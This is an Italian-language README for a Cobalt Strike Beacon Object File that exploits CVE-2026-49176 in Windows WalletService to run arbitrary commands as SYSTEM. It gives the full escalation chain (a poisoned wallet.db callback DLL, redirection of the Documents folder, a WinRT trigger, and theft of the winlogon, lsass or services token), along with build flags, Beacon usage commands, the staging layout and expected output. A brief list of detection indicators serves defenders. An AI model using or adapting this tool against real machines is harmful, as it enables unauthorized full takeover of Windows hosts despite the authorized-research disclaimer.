CVE-2026-49176 BOF per Cobalt Strike
BOF (Beacon Object File) per Cobalt Strike per l'escalation dei privilegi locale tramite Windows WalletService (CVE-2026-49176, corretto a luglio 2026).
Da un Beacon a integrità media (utente standard), questo strumento prepara un database ESE Wallet dannoso, reindirizza Documents, attiva WalletService ed esegue una riga di comando specificata dal chiamante come NT AUTHORITY\SYSTEM sul desktop interattivo.
Solo BOF.
PoC PowerShell autonomo originale: DavidCarliez/CVE-2026-49176_LPE_POC. Stessa causa principale della vulnerabilità; diversa distribuzione e avvio del processo post-SYSTEM.
Disclaimer
Solo per ricerca sulla sicurezza autorizzata, istruzione e validazione difensiva.
Vulnerabilità (condivisa con il PoC originale)
WalletService risolve FOLDERID_Documents mentre impersona il chiamante, quindi torna a LocalSystem prima di aprire:
<Documents>\Wallet\wallet.db
Un utente standard può popolare quel database con un callback ESE predefinito definito dall'utente (PATH\payload.dll!Export), puntare Documents a una directory controllata e chiamare WinRT WalletManager.RequestStoreAsync / GetItemsAsync così che il servizio carichi la DLL come SYSTEM.
Analisi tecnica: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
BOF vs PoC originale — percorso di escalation dei privilegi
Stesso: come viene ottenuta l'esecuzione di codice come SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
Differente: processo SYSTEM interattivo dopo il callback
WalletService usa spesso un token SYSTEM filtrato (senza SeAssignPrimaryToken / SeImpersonate utilizzabili). Un CreateProcess* diretto → 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
Caratteristiche
- Comando Beacon singolo per qualsiasi comando/file come SYSTEM sul desktop attivo
- Catena completa in-process: stage → seed → redirect → trigger → wait → ripristino Documents
- Impacchetta
wallet_callback.dll + shell_broker.exe tramite bof_pack("bbZ")
- Spawn post-SYSTEM multi-strategia + diagnostica
result.txt
- Solo x64
Requisiti
Struttura
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
Build
| Comando | Output |
|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | Solo DLL + broker |
build.bat clean | Rimuove gli artefatti |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
Modificare i percorsi VCVARS64 in build.bat se VS non è in posizione predefinita.
Flag critici: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sicurezza del linker CS BOF).
Utilizzo
Caricamento
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Ricaricare dopo ogni ricompilazione.)
Comandi
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
- Niente virgolette esterne se il percorso non contiene spazi.
- Menu opzionale: Beacon → CVE-2026-49176 → Esegui comando come SYSTEM...
Staging sul target
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
Impacchettamento
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
Output previsto
Riga del task
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
Successo (illustrativo)
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= può essere winlogon, services, lsass o un percorso del broker.
Errori comuni
Documents viene ripristinato anche in caso di errore quando il reindirizzamento è riuscito.
Architettura
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
Superficie di rilevamento
- Modifica della cartella nota Documents
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL di callback
- WalletService carica una DLL scrivibile dall'utente
- API
OpenProcess / token verso winlogon/lsass/services
- Servizi di breve durata
CVE49176_*
CreateProcessAsUserW / CreateProcessWithTokenW in sessioni interattive
Limitazioni
- Solo x64; WalletService non patchato richiesto
- L'API WinRT del Wallet potrebbe non essere disponibile/deprecata su alcune build
- La directory di stage non viene eliminata automaticamente
- ESE/WinRT vengono eseguiti dentro Beacon (rischio di crash rispetto al PoC originale isolato in un processo)
Correlati